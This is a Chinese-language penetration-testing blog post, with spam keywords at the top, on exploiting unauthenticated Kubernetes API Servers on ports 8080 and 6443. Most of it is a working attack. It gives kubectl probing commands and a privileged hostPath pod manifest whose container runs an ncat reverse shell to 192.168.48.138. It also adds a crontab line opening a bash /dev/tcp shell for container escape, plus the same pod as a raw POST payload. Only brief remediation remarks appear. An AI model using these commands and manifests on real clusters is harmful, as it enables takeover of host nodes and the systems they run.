网站到期不想续费,扬中门户网,域名网站购买,凡科小程序价格API Server 是 Kubernetes 集群的核心管理接口#xff0c;所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下#xff0c;API Server 会监听两个端口#xff1a;8080 和 6443。如果配置不当#xff0c;可能会导致未授权访问的安全风险。
8080 端口…API Server 是 Kubernetes 集群的核心管理接口所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下API Server 会监听两个端口8080 和 6443。如果配置不当可能会导致未授权访问的安全风险。
8080 端口
默认情况下不启用该端口不需要认证和授权检查。如果意外暴露v1.20以下版本攻击者可以直接访问集群资源导致未授权访问。 --insecure-port 和 --insecure-bind-address 参数已经被 废弃在 Kubernetes v1.20 版本中它们已经无法正常使用尤其是 --insecure-port只能被设置为 0否则会导致 API Server 启动失败。 1攻击者发现未授权访问页面 这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令 安装工具 | Kubernetes
我这里使用scoop安装kubectl工具
2攻击者使用kubectl工具运行以下命令进行探测 kubectl -s 192.168.48.142:8080 get nodes
kubectl -s 192.168.48.142:8080 get pods 得到类似以下信息这里复现用的版本是v1.23.6是借助本地代理方式实现的其与低版本暴露8080端口是一样的效果
3攻击者通过1.yaml文件自定义创建恶意POD配置如下
参考文章 【云原生安全】Bad Pods系列基础篇-创建恶意POD - FreeBuf网络安全行业门户 apiVersion: v1
kind: Pod
metadata:name: everything-allowed-revshell-podlabels:app: pentest
spec:hostNetwork: truehostPID: truehostIPC: truecontainers:- name: everything-allowed-podimage: raesene/ncatcommand: [ /bin/sh, -c, -- ]args: [ ncat 192.168.48.138 4446 -e /bin/bash; ]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderoot#nodeName: master-1 #取消注释可将master-1更改为指定节点的名称可以强制将该Pod调度到该节点上运行。volumes:- name: noderoothostPath:path: /
创建POD命令 kubectl -s 192.168.48.142:8080 create -f 1.yaml
4攻击者监听接受到shell执行hostname返回node2但是容器权限
5写入计划任务进行容器逃逸 echo -e * * * * * root bash -i /dev/tcp/192.168.48.1/4444 01\n /host/etc/crontab
6接受到宿主机权限
6443 端口
默认启用并且要求认证。如果配置错误例如将 system:anonymous 用户绑定到 cluster-admin 用户组攻击者可能绕过认证获得集群管理员权限造成未授权访问。 #引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrolecluster-admin --usersystem:anonymous#如果你想关闭这个权限实际上你只需要删除这个ClusterRoleBinding命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous1攻击者发现6443端口未授权页面
2使用以下命令探测验证 kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes 结果
3同之前的8080端口一样的利用方式创建恶意POD kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml 同理以下为POD配置内容
也可以通过POST发包的方式创建恶意POD https://192.168.48.142:6443/api/v1/namespaces/default/pods/#POST提交{apiVersion:v1,kind:Pod,metadata:{name:everything-allowed-revshell-pod,namespace:default,labels:{app:pentest},annotations:{kubectl.kubernetes.io/last-applied-configuration:{\apiVersion\:\v1\,\kind\:\Pod\,\metadata\:{\name\:\everything-allowed-revshell-pod\,\namespace\:\default\,\labels\:{\app\:\pentest\}},\spec\:{\hostNetwork\:true,\hostPID\:true,\hostIPC\:true,\containers\:[{\name\:\everything-allowed-pod\,\image\:\raesene/ncat\,\command\:[\/bin/sh\,\-c\,\--\],\args\:[\ncat 192.168.48.138 4446 -e /bin/bash;\],\securityContext\:{\privileged\:true},\volumeMounts\:[{\mountPath\:\/host\,\name\:\noderoot\}]}],\volumes\:[{\hostPath\:{\path\:\/\,\type\:\Directory\},\name\:\noderoot\}]}}},spec:{hostNetwork:true,hostPID:true,hostIPC:true,containers:[{name:everything-allowed-pod,image:raesene/ncat,command:[/bin/sh,-c,--],args:[ncat 192.168.48.138 4446 -e /bin/bash;],securityContext:{privileged:true},volumeMounts:[{mountPath:/host,name:noderoot}]}],volumes:[{hostPath:{path:/,type:Directory},name:noderoot}]}}4攻击者成功接受到shell节点为node2容器root权限。后续利用不再累赘
因此确保 API Server 的配置正确避免暴露不必要的端口并严格控制用户权限是保障集群安全的关键。